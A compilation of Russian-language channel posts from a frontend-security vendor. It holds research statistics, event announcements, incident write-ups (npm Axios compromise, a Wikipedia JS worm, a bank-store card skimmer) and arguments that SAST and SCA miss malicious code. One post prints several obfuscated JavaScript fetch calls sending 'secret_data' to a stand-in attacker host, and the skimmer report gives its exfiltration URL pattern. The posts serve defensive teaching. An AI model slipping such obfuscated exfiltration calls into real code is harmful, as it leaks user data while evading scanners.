FrontSecOps

Результаты исследования безопасности российских frontend-приложений Q2 2026 Опубликовали отчет, посмотрим, что изменилось за год с предыдущего исследования ↗️ Как и в прошлый раз мы c помощью FAST-анализатора проверили > 3000 публичных frontend-приложений 🖥 крупнейших коммерческих российских компаний. Основные показатели и динамика: ⚠️ загрузка скриптов с зарубежных хостов: 48 % (-16🤔) ⚠️ отправка запросов на зарубежные хосты: 59 % (-12🤔) ⚠️ вызовы eval() и других высокорисковых функций браузера (возможный признак наличия вредоносного кода 🦠): 45 % (-5🤔) ⚠️ компании, рискующие получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием БД за пределами РФ: 59%(-11🤔) ⚠️ наличие заголовка Content Security Policy (CSP): 30 % (+7🤔) ⚠️ загрузка печально известного скрипта Битрикс Аналитика: 11% (-10🤔) ⚠️ использование Яндекс Метрики с вебвизором 57% (+20🤔) - резкий рост в связи с улучшением правила обнаружения в FAST Средняя оценка безопасности: 49 из 100 (+10🤔) Положительная динамика радует, но в среднем все по-прежнему на неприемлемо низком уровне ❌ ❌ Эффективность конфигурации CSP: 8/100 (+1🤔) - здесь по-прежнему все печально, а просто наличие заголовка не делает приложение безопаснее. ❌ Низкие оценки в критических отраслях: транспорт (26), медицина (36), e-commerce (38). ❌ Снизилась оценка в категории онлайн-банков 75/100 (-2🤔). С учетом актуальных угроз и известных инцидентов текущая оценка остается неудовлетворительной. Как мы знаем: бардак 🔴, хаос и слепые зоны 👁(отсутствие непрерывной инвентаризации, управления изменениями и мониторинга) - главная причина инцидентов ИБ, а особенно для frontend-приложений, где работа в слепой зоне (браузере пользователя) - штатная неизбежная ситуация. Знать, что делает JavaScript-код на веб-страницах во времени, близком к реальному, и быстро реагировать на несанкционированные изменения 🆘 - главная задача, которую решает анализатор класса FAST (Frontend Application Security Testing) ☺️ Полный отчет об исследовании, подробное описание рисков и рекомендации доступны по ссылке: 📄 dpa-frontend-security-research-q2-2026.pdf @FrontSecOps

Интересная подборка инцидентов, связанных с вайб-кодингом 🌟 https://crackr.dev/vibe-coding-failures Из относящихся к frontend-приложениям и NPM в этом списке - кампания PhantomRaven Тип атаки slopsquatting: из-за галлюцинаций нейронки могут выдавать имена несуществующих зависимостей. Причем эти имена предсказуемы. Злоумышленники загрузили в npm 126 вредоносных библиотек с такими именами. За 1 год библиотеки были загружены почти 90 000 раз 🔥 По результатам исследования "We Have a Package for You!" (arXiv:2406.10279, USENIX Security 2025) в ходе проверки 576 000 примеров кода и 16 моделей: в 19,7% предлагались несуществующие пакеты (5,2% в коммерческих моделях, 21,7% в открытых). Сегодня в 15:00 (мск) будем говорить о рисках вайб-кодинга и DevSecOps на эфире AMLive 🗣 @FrontSecOps

Безопасный код без войны с разработчиками: практика DevSecOps в 2026 году Покупка сканера безопасности не делает разработку безопасной автоматически. Гораздо важнее правильно выстроить процессы, определить ответственность и научиться работать с результатами проверок. 🔥 24 июня в 15:00 в второй части эфира AM Live обсудим, как компании сегодня выстраивают практику анализа исходного кода. С экспертами разберем: — как встроить проверки безопасности в CI/CD; — как работать с legacy-кодом; — как повысить доверие разработчиков к результатам сканирования; — и как избежать превращения DevSecOps в DevStopOps. 🔗 Регистрируйтесь по ссылке и не пропустите эфир!

Почему композиционный анализ (SCA) не гарантирует отсутствие вредоносного кода в frontend-приложении? В прошлый раз мы обсуждали, почему SAST не может обнаружить вредоносный код в frontend-приложениях. Сегодня рассмотрим SCA. 1️⃣ Современные js-фреймворки 📱 используют пакетный менеджер (npm). Все зависимости при билде упаковываются в файл-бандл (app.js, main.js и т.п.). Этот бандл подключается на веб-страницу в виде файлового скрипта. SCA-анализатору передается файл package.json/package-lock.json - по данному файлу SCA обнаружит зависимости, которые попадут в бандл. НО на веб-странице могут быть подключены и другие скрипты 👩‍💻. В следующем примере на странице размещен бандл (main.js) и еще 2 внешних и 2 инлайн-скрипта. О них SCA не знает. <html> <head> <script src="//metrics.ru/metrics.js"></script> <script src="//cdn.ru/module.js"></script> <script src="/js/main.js"></script> </head> <body onload='console.log("inline 1 script")'> <div id="root"></div> <script>console.log("inline 2 script")</script> </body> </html> 2️⃣ У вас в проекте нет внешних и инлайн-скриптов? А вы уверены? Проверяете? На аудитах безопасности мы иногда обнаруживаем даже скрипты Яндекс Метрики в проектах, которые должны работать в корп. сетях без интернета 😱. Поэтому одной уверенности здесь мало. 3️⃣ В некоторых компаниях SCA встроен только на этапе сканирования образов контейнеров 🖥. Для frontend-приложений это бессмысленно, т.к. из файла-бандла js невозможно восстановить зависимости (невозможно = SCA этим не занимается). Поэтому ваш Trivy покажет вам только уязвимости пакетов ОС, т.к. не найдет ни одной зависимости npm. Анализировать npm-зависимости необходимо только по исходному коду (package-lock.json). 4️⃣ В js есть возможность динамического импорта модулей / добавления на страницу новых скриптов в рантайме 🔎. Любая библиотека может загрузить новые скрипты со сторонних хостов. Код даже может быть спрятан в картинке/другом ресурсе и проинтерпретирован динамически через eval(). Если такое поведение библиотеки (НДВ) еще не засветилось и не попало в базы вредоносных пакетов вашего SCA, то вы об этом не узнаете. 6️⃣ Об актуальности базы вредоносных/уязвимых пакетов. Любая база пополняется с задержкой. Например в инциденте с вредоносным кодом в библиотеке polyfill.js информация попала в базы только через 4 месяца 😭. В более 100 000 приложений 4 месяца присутствовал вредоносный код 💰 7️⃣ В хороших SCA-анализаторах есть возможность подключения внешних фидов о вредоносных пакетах. А насколько хороша бесплатная база Trivy/Grype? 8️⃣ Если для популярных пакетов кто-то заметит вредоносное поведение и сообщит SCA-вендорам, то что говорить о редких пакетах /форках /внутренних библиотеках. Информация о них вообще никогда не появится в базах SCA. 9️⃣ Тег-менеджер (Google, Яндекс и другие). Прямое назначение тег-менеджеров - динамическое добавление на страницы новых скриптов по определенным условиям. SCA не видят это. 1️⃣0️⃣ Мы не знаем зависимости внешних/сторонних скриптов. Допустим скрипт системы аналитики, мы получаем его в виде минифицированного бандла, понять его зависимости также не получится. 1️⃣1️⃣ Можно ли считать код, написанный ИИ, сторонним opensource-кодом, а не собственным? 😄 1️⃣2️⃣ Разработчик может скопировать код сторонней библиотеки в проект/сделать форк, чтобы SCA не ругался. Но это отдельная история... Таким образом SCA-анализатор не может достоверно обнаружить все сторонние компоненты, используемые frontend-приложением, а для тех которые обнаружил полностью зависит от качества используемых баз/фидов. Применение SCA нейтрализует всего 3 из 75 угроз по фреймворку Frontend Kill Chain. Для безопасной разработки frontend-приложений применяются FAST-анализаторы, обнаруживающие вредоносные компоненты по поведению в рантайме браузера-песочницы 🌐 FAST обнаруживает все скрипты, даже динамически загруженные и добавленные через тег-менеджеры, и анализирует реальное поведение собственного, стороннего и сгенерированного ИИ кода. И все это без ложных срабатываний и регулярного триажа 🔎 @FrontSecOps

Через час выложу пост про Применимость композиционных анализаторов (SCA) для обнаружения вредоносного кода в frontend-приложениях 🖥... А пока приглашаю всех на CISO Forum 2026 - важное событие для CISO, CIO, ИБ-архитекторов и AppSec-специалистов России. В 16:00 выступаю с докладом «WAF внедрили, API защитили... А данные крадут собственные и партнерские js-скрипты на веб-страницах. Как защитить фронтенд?» Много лет назад на другом мероприятии к нам подбежал человек и сказал: МУЖИКИ! ТАМ КОНЕЦ 🫨 ! ТАМ ПРЯМ ЗА СТОЛОМ DLP ПРОДАЮТ 🙄... Мы DLP не продаем, но прямо на стенде DPA Analytics будем проводить аудиты безопасности ваших frontend-приложений с помощью FAST-анализатора 🔎 А еще на стенде разыграем джедайские мечи 🗡🌟🎁🎁🌟, которые дадут силу для защиты ваших приложений! 28 апреля 2026 Центр международной торговли (Москва) CISO Forum 2026 → Зарегистрироваться

⚠️ Компрометация npm-пакета Axios Axios - популярный HTTP-клиент для JavaScript 📱 с > 100 млн загрузок в неделю. Аккаунт мейнтейнера был скомпрометирован, к библиотеке была подключена вредоносная зависимость plain-crypto-js@4.2.1 и опубликованы новые версии: 🔸axios@1.14.1 🔸axios@0.30.4 Зависимость plain-crypto-js@4.2.1 содержала postinstall-скрипт, который запускал выполнение вредоносного кода на машине разработчика / раннере CI/CD - установку RAT (Remote Access Trojan) 🤒, что может привести к краже данных, установке программ-вымогателей, дальнейшему распространению по корпоративной сети и т.д. Время присутствия в npm : 3 часа Все индикаторы компрометации описаны здесь @FrontSecOps

JS-червь в frontend-приложении Meta-Wiki (проект Википедии) Любопытный инцидент в Meta-Wiki (сайт, где обсуждаются события в проектах Фонда Викимедиа). У пользователей сайта есть возможность добавления на страницу js-скриптов для кастомизации собственного интерфейса. У администраторов есть возможность изменения глобального js-скрипта, который выполняется у всех пользователей. 5 марта 2026 сотрудник из команды безопасности проекта зачем-то запустил скрипт, который "в алфавитном порядке массово импортировал (вероятно, с целью тестирования) чужие личные JavaScript-страницы из разных вики-проектов". У одного из пользователей (Ololoshka562 🤡) на странице был добавлен вредоносный js-код 🧨 Что делал вредоносный скрипт? 🔸 Проверял полномочия пользователя 🔸 При наличии прав изменял общий js-скрипт 🔸 Изменял персональный js-скрипт 🔸 Изменял случайную страницу в проекте (добавлял "несуществующую картинку дятла 🐦" и различные надписи) 🔸 При запуске у других пользователей выполнял аналогичные действия (распространение по принципу червя) Через несколько минут общий js-скрипт был изменен, что привело к выполнению вредоносного кода у всех пользователей. За 30 минут страницы открыли около 100 пользователей, что привело к добавлению дятла на около 4000 страниц. Для предотвращения дальнейшей порчи контента в проекте была заблокирована возможность редактирования до очистки страниц от вредоносного кода. Сам по себе инцидент не очень критичный, но крайне интересный с точки зрения червеобразного поведения и как пример способа реализации (монетизации) в виде выполнения действий от имени пользователя fronend-приложения ⌨️ Frontend Kill Chain : Вектор: 🔹T-20: Инсайдеры (добавлен сотрудником по ошибке) Способ реализации: 🔹T-76: Выполнение действий от имени пользователя (изменение страниц и распространение) @FrontSecOps

4 февраля 2026 (среда) в 16:00 МСК в рамках цикла вебинаров "Вокруг РБПО за 25 вебинаров: ГОСТ Р 56939-2024" от PVS-Studio провожу вебинар: Безопасность frontend-приложений: особенности, угрозы и анализаторы класса FAST (Frontend Application Security Testing) Рассмотрим актуальные угрозы, фреймворк МУ Frontend Kill Chain, обсудим, почему классические анализаторы имеют низкую достоверность для frontend-приложений, и как использовать FAST-анализатор в процессе РБПО по ГОСТ Р 56939-2024. Дата: 4 февраля (среда) Время: 16:00 МСК Регистрация на вебинар: https://pvs-studio.ru/ru/webinar/rbpo/

В крупнейшем банке США 😒 (топ 3 ↗️) в интернет-магазине для сотрудников был обнаружен js-сниффер/кейлогер 🦠 Интернет-магазин могли использовать до 200 000 сотрудников банка. Сниффер перехватывал данные банковских карт, логины/пароли пользователей, адрес доставки товара и другие данные, введенные в формы 🪪 Что делал вредоносный код? 🔹В код страниц был внедрен inline-скрипт (загрузчик) 📱, он проверял, что страница является страницей подтверждения заказа (наличие "checkout" в URL). 🔹Если да, то на страницу динамически загружался с внешнего хоста сам js-сниффер ⬇️ (URL https://js-csp[.]com/getInjector/). 🔹Сниффер перехватывал содержимое полей (элементы input, textarea, select) формы оплаты/аутентификации/регистрации/оформления заказа. Во многих популярных движках интернет-магазинов все эти формы находятся на странице подтверждения заказа. 🔹Для отправки украденных данных на хост злоумышленника на странице динамически создавался элемент IMG. Украденные данные кодировались в base64 и передавались в GET-параметрах (https://js-csp[.]com/fetchData/?data=<base64>&loc=<origin>) 🔼 🔸1 декабря 2025 - регистрация доменного имени злоумышленников. 🔸14 января 2026 - js-сниффер обнаружен компанией Sansec, уведомление банка. 🔸15 января 2026 - вредоносный скрипт удален из приложения. Наиболее вероятно, что это результат взлома CMS интернет-магазина через эксплуатацию уязвимостей либо украденную учетную запись администратора. ⚠️ Обратите внимание, что в скрипте-загрузчике строка с URL js-сниффера закодирована через использование массива с кодами каждого символа строки. Это самый примитивный способ, но даже он делает статический анализ (SAST) не эффективным для обнаружения вредоносного кода в frontend-приложениях. Время присутствия: от 1 до 45 дней Обнаружение инцидента: уведомление от сторонней компании и публикации в СМИ. DPA Frontend Threat Modeling Framework (Frontend Kill Chain) : Вектор: 🔹T-3: Компрометация сервера приложения Способ реализации: 🔹T-27: Кража персональных данных 🔹T-26: Кража токенов/секретов/учетных данных и отправка на хост злоумышленника 🔹T-45: Вредоносный код выполняется только при определенном действии (клик по кнопке логин/оплатить/отправить). При использовании анализатора класса FAST (Frontend Application Security Testing) данный инцидент мог быть обнаружен в течение 1-3 часов (в зависимости от частоты сканирования) после добавления вредоносного скрипта в приложение, а при использовании FOP - через 1 минуту. @FrontSecOps

В среду 28 января в 11:00 МСК в прямом эфире AM Live будем говорить об актуальных угрозах и средствах защиты веб-приложений 🛡 Обсудим: 🔸Цель злоумышленников, что монетизируют в первую очередь? 🔸Что важнее? WAF, Frontend Security, Anti DDOS/Bot, защита API, процессы/инвентаризация, безопасность мобильных приложений, SSDLC/РБПО? 🔸Как при внедренном WAF и защите API вредоносный скрипт на фронтенде может месяцами похищать персональные данные пользователей? Участие бесплатное, регистрация по ссылке 🔗

⚠️⚠️⚠️ Критическая уязвимость в React Server Components и Next.js Небезопасная десериализация, RCE. Специально сформированный HTTP-запрос неаутентифицированного пользователя приводит к выполнению произвольного кода на сервере ♥️ CVE-2025-55182 / CVSS 10.0 ☄️ Эксплойт доступен 💣 Уязвимость присутствует в версиях 19.0, 19.1.0, 19.1.1 и 19.2.0 пакетов: 🔸 react-server-dom-webpack 🔸 react-server-dom-parcel 🔸 react-server-dom-turbopack Уязвимость затрагивает как минимум: next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc и rwsdk. Патчи опубликованы, необходимо срочно обновляться, если используются соответствующие серверные функции. И следить, что будет происходить в ближайшие дни. Подробности: 🔸 https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components 🔸 https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182 @FrontSecOps

Седьмой zeroday в Chrome за 2025 год CVE-2025-13223 - уязвимость в V8 - открытие в браузере специально сформированной HTML-страницы приводит к выполнению произвольного кода на устройстве пользователя. Далее - шифровальщик, RAT и т.д. Если пользователь находится в корпоративной сети, это может привести к уничтожению всех данных компании, что мы уже видели в нескольких крупных инцидентах в этом году 💥 Эксплойт уже существует и используется злоумышленниками в реальных атаках 💣 Конечно, "плохие парни" могут создавать вредоносные страницы и "заманивать" туда пользователей через фишинг, но гораздо привлекательнее для злоумышленников - внедрить вредоносный код в frontend-приложения с целевой/большой посещаемостью. Зависимости frontend-приложения - идеальный вектор для проникновения вредоносного кода в frontend-приложения, даже в приложения, доступные только внутри корпоративной сети (HRM, CRM и т.п.). В корпоративных сетях без интернета браузеры могут отставать от актуальной версии на несколько месяцев/лет 📆 (видел такое неоднократно). Для снижения риска необходимо обновить Chrome 📱 до актуальной версии (142.0.7444.175) и регулярно проверять frontend-приложения FAST-анализатором ☺️ @FrontSecOps

Запись вебинара FAST: Безопасность frontend-приложений от модели угроз до продакшена в SSDLC/DevSecOps и демонстрация DPA FAST Analyzer ☺️ Часть 1. Безопасность frontend-приложений 00:00 Вступление 01:00 Бэкенд и фронтенд, уязвимости или вредоносный код, что важнее? 05:54 Зачем злоумышленникам внедрять вредоносный код в наши приложения? 💰 09:07 Вектора попадания вредоносного кода 11:25 Фреймворк моделирования угроз Frontend Kill Chain 12:46 Компоненты приложения 13:20 Размер код и npm-зависимости 15:06 Минификация и обфускация 📱 15:32 Обзор инцидентов 22:03 Как через фронтенд заражают корп. сети без доступа в интернет? 23:26 Российские приложения готовы к этим угрозам? Результаты исследования 27:43 Резюме по безопасности frontend-приложений 28:48 Почему SAST, SCA, DAST не обнаруживают актуальные угрозы? 33:20 Концепция Frontend Application Security Testing (FAST) 35:12 Как работает FAST-анализатор? Часть 2. Демо FAST-анализатора 41:14 Демо приложение на React 42:01 Запуск сканирования в FAST-анализаторе DPA FAST Analyzer 🔎 42:32 Как записать сценарий сканирования в Chrome DevTools Recorder 📱 44:18 Результаты первого скана и создание разрешающего профиля поведения 47:33 Добавляем вредоносный код 🦠 49:09 Что делает этот вредоносный код? 50:30 Вредоносное поведение обнаружено по нескольким аномалиям 🆘 53:12 Интерфейс инвентаризации скриптов Часть 3. FAST в DevSecOps 53:52 FAST в DevSecOps 54:38 Эффект от внедрения FAST-анализатора 🛡 55:55 Требования регуляторов 56:58 Полезные ссылки 58:18 Как запросить пилот FAST-анализатора 58:35 Как сканировать FAST-ом без сценариев. Демо "ручного" сканирования 🖥 01:00:37 Оценка безопасности приложений в FAST-анализаторе 01:01:05 Ответы на вопросы Смотрите запись вебинара в этом посте или на любых площадках: 📹 YT 📺 VK 📺 RT @FrontSecOps

Может ли SAST обнаружить вредоносный код? Часто встречаю мнение, что применение статического анализа кода (SAST) является достаточной проверкой на наличие вредоносного кода 🦠 в frontend-приложении, в том числе в зависимостях. Давайте посмотрим, почему это не так. 1️⃣ Задача SAST - поиск в коде неких антипаттернов (уязвимостей): отсутствие санитизации ввода/вывода и прочее. 2️⃣ В случае с frontend-приложениями вредоносные действия не отличаются от бизнес логики. Например, js-сниффер получает данные из формы и отправляет запрос к API (на хост злоумышленника), чтобы украсть данные 🪪. Это ничем не отличается от легитимного обработчика формы (кроме хоста получателя запроса). 3️⃣ "Из коробки" SAST не содержит правил, которые показывают все отправки данных в js-коде 🔍 4️⃣ Попробуем написать правило сами? Например, найдем все вызовы функции fetch() и будем проверять, что там нет "плохих" URL. Кто использует такие правила? 5️⃣ В JavaScript есть различные трюки для вызова функций без указания их имени, вот примеры вызова той же функции fetch(). Вставьте в консоль браузера для проверки. Сможем написать правило, которое обнаружит все эти вызовы? fetch('https://attacker.dspdemo.ru/leak?d=secret_data_1'); window['fet' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_2'); this['\x66' + 'et' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_3'); this['\x66' + String.fromCharCode(new Date().getFullYear() - 1900 - 24) + 't' + 'ch']('https://attacker.dspdemo.ru/leak?d=secret_data_4'); globalThis['fetch']('https://attacker.dspdemo.ru/leak?d=secret_data_5'); Reflect.get(window, 'fetch')('https://attacker.dspdemo.ru/leak?d=secret_data_6'); 6️⃣ В JavaScript есть 26+ способов отправки сетевых запросов: fetch, xhr, websocket, eventsource (connect), navigation, create element (img, iframe), css и другие. Все эти функции можно вызывать как в предыдущем пункте. 7️⃣ Т.к. код вредоносный, злоумышленник будет использовать техники скрытия вызовов 🤒, а векторов попадания вредоносного кода в приложение множество. 8️⃣ SAST не выполняет код, поэтому не видит, что внутри eval('code') (функция динамической интерпретации кода из строки). eval() тоже можно вызвать так, что SAST не найдет. eval("fetch('https://attacker.dspdemo.ru/leak?d=secret_data_7')"); await (new Function('u', 'return fetch(u)'))('https://attacker.dspdemo.ru/leak?d=secret_data_8'); setTimeout(`(globalThis['f' + String.fromCharCode(101) + 't' + String.fromCharCode(99) + 'h'])('https://attacker.dspdemo.ru/leak?d=secret_data_9')`, 1000); 9️⃣ Даже, если мы напишем правила, которые "достоверно" обнаружат в коде все отправки сетевых запросов, мы получим десятки тысяч ложных срабатываний 🌡 (т.к. createElement - основа любого frontend-приложения). 1️⃣0️⃣ Про зависимости, кто-то анализировал SAST-ом папку node_modules? Было полезно? 😁 Таким образом, применение SAST вообще не гарантирует, что в коде frontend-приложения нет js-снифферов, майнеров, показа фишинговых баннеров и других угроз. Да и поиск вредоносного кода никогда не являлся задачей SAST-анализаторов (из коробки). Анализ поведения кода - задача FAST-анализатора, где сетевые запросы обнаруживаются на уровне ядра браузера, где представление кода не имеет значения. Завтра (12.11.2025) в 11:00 МСК на вебинаре обсудим почему SAST, DAST, SCA, WAF не снижают риски для frontend-приложений, в реальных инцидентах вредоносный код месяцами крадет данные пользователей в браузере и покажу ДЕМО FAST-анализатора ☺️ Регистрация на вебинар @FrontSecOps

Вебинар по FAST-анализатору 12 ноября в 11:00 МСК 12 ноября в 11:00 МСК проведу бесплатный вебинар, где обсудим, почему в реальных инцидентах вредоносный код (js-скрипты) присутствует на веб-страницах месяцами и успешно похищает данные прямо в браузере пользователя. На вебинаре обсудим: 🔸Актуальные угрозы: как и зачем внедряют вредоносный код в frontend-приложения и веб-страницы? 🔸Почему браузер пользователя - "слепая" зона для ИБ и идеальная точка монетизации для злоумышленника? 🔸Почему SAST, DAST, SCA, WAF, NGFW не выявляют такие угрозы и примеры реальных инцидентов? 🔸Подход Frontend Application Security Testing (FAST) и первый российский FAST-анализатор. 🔸Демо: как DPA FAST Analyzer обнаруживает вредоносное поведение js-кода и устраняет "слепую" зону. 🔸Как встроить проверки на всех этапах SSDLC/DevSecOps/РБПО и прийти к Secure by Design? ❔ Можно будет задать вопросы и получить практические рекомендации по безопасности frontend-приложений. ⏺Зарегистрируйтесь, чтобы получить ссылку на вебинар и запись после него Дата: 12 ноября (среда) Время: 11:00 МСК

Всем привет! Мои ближайшие доклады: 🔸Frontend Conf 21.10 (вторник) 18:00 (МСК), зал "Кинетика", 1 этаж, оффлайн "JS-снифферы приходят к нам через NPM. Как обнаружить вредоносные действия до релиза?" 🔸CyberCamp 23.10 (четверг) 11:00 (МСК), онлайн "Моделирование угроз для frontend-приложения: делаем каждый релиз Secure By Design" 🔸SOC FORUM 20.11 (четверг) 12:00 (МСК), онлайн и оффлайн "JS-снифферы приходят в наши приложения с NPM-зависимостями. Как использовать браузер-песочницу для обнаружения вредоносных действий до релиза?"

Результаты исследования безопасности российских frontend-приложений Мы опубликовали исследование безопасности российских frontend-приложений 🖥 за 1 полугодие 2025 года. Были проверены приложения более 3000 крупнейших коммерческих российских компаний. С учетом актуальных угроз, известных инцидентов и повышения штрафов за невыполнение 152-ФЗ текущая оценка является неудовлетворительной ❌ ⚠️ 64 % загружают скрипты с хостов за пределами РФ ⚠️ 71 % отправляют сетевые запросы на зарубежные хосты ⚠️ 7/100 эффективность конфигурации Content Security Policy (CSP) ⚠️ 50 % вызывают высокорисковые API браузера, что может быть признаком наличия в приложении вредоносного кода 🦠 ⚠️ > 70% компаний рискуют получить штрафы от 1 до 18 млн. руб. 💸 за сбор ПД 🪪 с использованием баз данных, размещенных за пределами РФ Средняя оценка безопасности по всем отраслям: 39 из 100 ❌ Средняя оценка в категории онлайн-банков - 77 из 100 ⚠️; лучше чем по другим отраслям, но с учетом критичности данных приложений, этого явно не достаточно. Полный отчет об исследовании доступен по ссылке: 📄 dpa-frontend-security-research-half-year-2025.pdf @FrontSecOps

Фреймворк моделирования угроз для frontend-приложений В классическом понимании "взламывать/атаковать" frontend-приложение (белый ящик 🥡, выполняющийся в неконтролируемой зоне - браузере пользователя 🖥) не имеет смысла. На безопасность frontend-приложений следует смотреть с точки зрения "Что будет, если злоумышленник сможет внедрить свой код 🦠 к нам в приложение?" А способов внедрить код (векторов) множество, и XSS - только один из них, причем далеко не самый критичный. Способов монетизации - десятки, поэтому мы регулярно видим крупные инциденты в frontend-приложениях 💰 Существующие подходы и каталоги угроз слабо применимы для frontend-приложений. Это приводит к непониманию векторов проникновения вредоносного кода в приложения, способов его монетизации и последствий для бизнеса 😣 DPA Analytics опубликовали фреймворк моделирования угроз для frontend-приложений. О самом фреймворке я рассказывал в докладе на PHDays 2025. Мы визуализировали его в виде Frontend Kill Chain (по принципу MITRE ATT&CK Matrix и Lockheed Martin's Cyber Kill Chain). Скачать визуализацию можно здесь: 📄 DPA Frontend Threat Modeling Framework v1.0.0.pdf Построить модель угроз по фреймворку для своего приложения можно в бесплатном онлайн сервисе: ☺️ Онлайн-сервис для моделирования угроз Важно! ⚠️ Полностью защититься от всех векторов на этапе разработки/тестирования невозможно. Поэтому контролировать безопасность frontend-приложения (с помощью анализа поведения) необходимо как до релиза, так и регулярно после релиза в продакшене. @FrontSecOps